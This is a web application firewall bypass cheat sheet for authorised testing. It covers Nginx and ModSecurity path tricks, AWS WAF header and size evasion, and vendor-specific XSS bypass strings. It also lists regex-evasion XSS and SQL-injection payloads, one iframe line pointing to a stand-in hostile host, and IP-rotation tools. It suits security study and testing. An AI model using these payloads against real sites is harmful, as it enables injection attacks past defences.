Proxy / WAF Protections Bypass
A reference guide for understanding and testing Web Application Firewall bypass techniques during authorized security assessments.
⚠️ Authorization Required
Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized WAF bypass attempts may violate laws and terms of service.
Nginx ACL Bypass with Pathname Manipulation
Nginx performs path normalization before checking rules, but backend servers may normalize differently, creating bypass opportunities.
Nginx Rule Example
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Bypass Characters by Backend Technology
Node.js Express
| Nginx Version | Bypass Characters |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Nginx Version | Bypass Characters |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Nginx Version | Bypass Characters |
|---|---|
| 1.22.0 | ; |
| 2.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Nginx FPM configuration:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Bypass: Access /admin.php/index.php instead of /admin.php
Prevention
location ~* ^/admin {
deny all;
}
ModSecurity Bypass Techniques
Path Confusion (v3 until 3.0.12)
ModSecurity v3 improperly implemented REQUEST_FILENAME by URL-decoding the path before extraction.
Example:
Request: http://example.com/foo%3f';alert(1);foo=
ModSecurity sees: /foo (because %3f → ? ends the path)
Server receives: /foo%3f';alert(1);foo=
Affected variables: REQUEST_BASENAME, PATH_INFO
ModSecurity v2 Extension Bypass
URL-encode the dot to bypass extension filters:
https://example.com/backup%2ebak # bypasses .bak filter
AWS WAF Bypass Techniques
Malformed Header Bypass
Send headers that AWS WAF doesn't parse correctly but the backend does:
GET / HTTP/1.1
Host: target.com
X-Query: Value
' or '1'='1' --
Connection: close
The continuation line becomes part of the header value on the backend.
Request Size Limits
| Service | Max Inspection Size |
|---|---|
| AWS WAF (ALB/AppSync) | 8 KB |
| AWS WAF (CloudFront/API Gateway/Cognito) | 64 KB |
| Azure WAF (CRS 3.1 or lower) | 128 KB |
| Azure WAF (CRS 3.2+) | Configurable |
| Akamai (default) | 8 KB (up to 128 KB with Advanced Metadata) |
| Cloudflare | 128 KB |
Technique: Send requests larger than the inspection limit to bypass body checking.
Generic WAF Bypass Techniques
Static Assets Inspection Gaps
Some CDN/WAF stacks apply weak or no inspection to GET requests for static assets (.js, .css, etc.).
Use cases:
- Send payloads in untrusted headers (e.g.,
User-Agent) on GET to.jspaths - Race requests through the same front-end path
- Combine with header-reflection cache poisoning
Obfuscation Techniques
# IIS, ASP Classic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Unicode Compatibility
Characters with Unicode compatibility can bypass WAFs under certain normalization algorithms.
Example (NFKD normalization):
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ → <img src=p
Contextual WAF Bypass with Encodings
Some WAFs decode input multiple times. Abuse this by over-encoding:
Example: If Akamai URL-decodes 10 times:
<input/%2525252525252525253e/onfocus
WAF sees: <input/>/onfocus (appears safe)
Browser sees: <input/%25252525252525253e/onfocus (still valid XSS)
Known bypasses:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Inline JavaScript First-Statement Inspection Gaps
Some rulesets only parse the first JavaScript statement in event handlers.
Technique: Prefix with harmless expression:
onfocus="(history.length);payload"
Combine with fragment-induced focus (#forgot_btn) for click-less XSS.
Regex Bypass Examples
<sCrIpT>alert(XSS)</sCriPt> # Case alternation
<<script>alert(XSS)</script> # Prepend extra "<"
<script>alert(XSS) # Remove closing tag
<script>alert`XSS`</script> # Backticks instead of parentheses
java%0ascript:alert(1) # Encoded newline
<iframe src=http://malicous.com < # Double open brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> # Uncommon tags
<img/src=1/onerror=alert(0)> # Use / instead of space
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=# # Extra attributes
Function("ale"+"rt(1)")(); # String concatenation
javascript:7416316614740157156154157141144751415414516216450615176 # Octal encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- # SQL comments
new Function`alt\`6\``; # Backticks
%26%2397;lert(1) # HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> # Line Feed breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # Special chars between handler and =
IP Rotation Tools
| Tool | Description |
|---|---|
| fireprox | API gateway URL generator for ffuf |
| catspin | Similar to fireprox |
| ip-rotate | Burp Suite plugin using API gateway IPs |
| ShadowClone | Parallel execution with container instances |
Tools
- nowafpls: Burp plugin to add junk data to requests to bypass WAFs by length